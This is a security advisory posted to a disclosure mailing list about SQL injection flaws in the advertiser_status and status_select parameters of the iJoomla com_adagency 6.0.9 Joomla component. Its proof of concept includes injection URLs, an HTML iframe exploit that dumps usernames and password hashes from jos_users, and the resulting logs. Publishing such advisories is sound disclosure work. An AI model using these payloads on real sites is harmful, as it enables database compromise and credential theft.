Message-ID: <0fb9d0de-a29a-ea8d-404e-5da778e22a96@vulnerability-lab.com>
Date: Fri, 5 Jan 2018 01:15:32 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] iJoomla com_adagency 6.0.9 - SQL Injection Vulnerabilities

Document Title:
===============
iJoomla com_adagency 6.0.9 - SQL Injection Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1927


Release Date:
=============
2018-01-04


Vulnerability Laboratory ID (VL-ID):
====================================
1927


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
Ad Agency is the #1 advertising extension for Joomla! Start generating income from your traffic today by creating an advertising program.
d Agency's front-end is completely responsive. It looks great on any device, no matter the size. Your advertising campaigns are now 
more flexible than ever! You’re free to choose the number of ads to display horizontally and vertically, so you can have several ads in 
one row, in more than one row, or create multiple columns of ads.It's completely up to you!

(Copy of the Vendor Homepage: https://adagency.ijoomla.com/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple remote sql-injection vulnerabilities in the iJoomla (Joomla) com_adagency 6.0.9 component.


Vulnerability Disclosure Timeline:
==================================
2018-01-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
iJoomla
Product: com_adagency - Component (Joomla) 6.0.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple remote sql-injection vulnerabilities has been discovered in the official iJoomla com_adagency v6.0.9 content management system component.
The sql-injection vulnerability allows remote attackers to inject own sql commands to compromise the database management system or web-application.

The sql-injection vulnerabilities are located in the `advertiser_status` and `status_select` parameters of the `com_adagency` component module.
Remote attackers are able to perform malicious GET method request to execute sql command via vulnerable parameters. Remote attackers can trigger 
the issue depending on the access privileges with a restricted or unauthenticated user account. The vulnerability is a classic remote select sql 
injection vulnerability in the `com_adagency` component module.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] com_adagency

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] advertiser_status
[+] status_select


Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerabilities can be exploited by remote attackers with privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Payload Exploitatation (status_select & advertiser_status)
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]--
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3


PoC: Exploit
<html>
<head><body>
<title>SQL-Injection PoC (status_select & advertiser_status)</title>
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=
-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),/**/from/**/jos_users/**>
<br><br>
<iframe src=http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=
Y-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),/**/from/**/jos_users/**&camp_id=3>
</body></head>
<html>


--- PoC Exception & Error Logs ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near line 1
-
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 
'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC' at line 1 SQL=SELECT user.id, advertis.aid, advertis.ordering, advertis.company, 
advertis.approved, advertis.user_id, user.name, user.email, user.block, user.username, user.registerDate, count(c.id) count FROM 
#__ad_agency_advertis as advertis LEFT OUTER JOIN #__users as user on user.id=advertis.user_id LEFT JOIN #__ad_agency_campaign as c on 
c.aid=advertis.aid WHERE 1=1 AND user.id<>'' AND advertis.approved LIKE '%-1'Y%' GROUP BY advertis.aid ORDER BY advertis.ordering ASC
-
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 
''Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDE' at line 15 SQL=SELECT b . * , camp.id campaign_id, camp.name campaign_name, a.aid AS 
advertiser_id2, a.company AS advertiser, concat( width, 'x', height ) AS size_type, m.id mid, m.title zone_name FROM #__ad_agency_banners 
AS b LEFT OUTER JOIN #__ad_agency_advertis AS a ON b.advertiser_id = a.aid LEFT JOIN #__ad_agency_campaign_banner AS cb ON cb.banner_id = 
b.id LEFT JOIN #__ad_agency_campaign AS camp ON camp.id = cb.campaign_id LEFT JOIN #__ad_agency_order_type AS p ON camp.otid = p.tid LEFT 
JOIN #__modules AS m ON m.id = cb.zone WHERE 1=1 AND b.approved = 'Y-1'' AND cb.`campaign_id`=3 GROUP BY b.id ORDER BY b.ordering ASC , 
b.id DESC LIMIT 0,30


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAds&status_select=Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3
Mime Type[text/html]
   Request Header:
      Host[joomla.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]
      Cookie[dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F; 
	em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 350a4e86045327a856d5c0333a428604=ukf6ldgrs5ekdrukh8p8s422k0; activeProfile=0]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache]
      X-Powered-By[PHP/7.0.9]
      P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status=-1%27Y[SQL-INJECTION VULNERABILITY!]** 
Mime Type[text/html]
   Request Header:
      Host[joomla.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[jsju=0; dacce502d8fa40f12fdba764da41b8cf=8uusag3vgk0544u8phf9c4oa11; 
	currentURI=http%3A%2F%2Fjoomla.localhost:8080%2F; 
	em_cdn_uid=t%3D1471798050244%26u%3D11f009a55e864578928adec2c70fa876; 
	350a4e86045327a856d5c0333a428604=ivi4d2j9782af9h0kntmqi6m43; activeProfile=0]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache]
      X-Powered-By[PHP/7.0.9]
      P3P[CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]


Reference(s):
http://joomla.localhost:8080/
http://joomla.localhost:8080/index.php
http://joomla.localhost:8080/index.php?option=
http://joomla.localhost:8080/index.php?option=com_adagency
http://joomla.localhost:8080/index.php?option=com_adagency&controller
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers
http://joomla.localhost:8080/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status
http://joomla.localhost:8080/administrator/index.php?option=com_adagency&controller=adagencyAdvertisers&advertiser_status


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and restriction of the vulnerable `advertiser_status` and `status_select` parameters  in 
the com_adagency component. Disallow the usage of special chars, escape the entries and use a prepared statement to prevent exploitation 
of the vulnerabilities.

Note: The vulnerability has been resolved in the last com_adagency component updates in 2017 Q1-4.


Security Risk:
==============
The security risk of the remote sql injection web vulnerabilities in the com_adagency 6.0.9 joomla component is estimated as high (CVSS 7.1).


Credits & Authors:
==================
Benjamin K.M. [bkm@...nerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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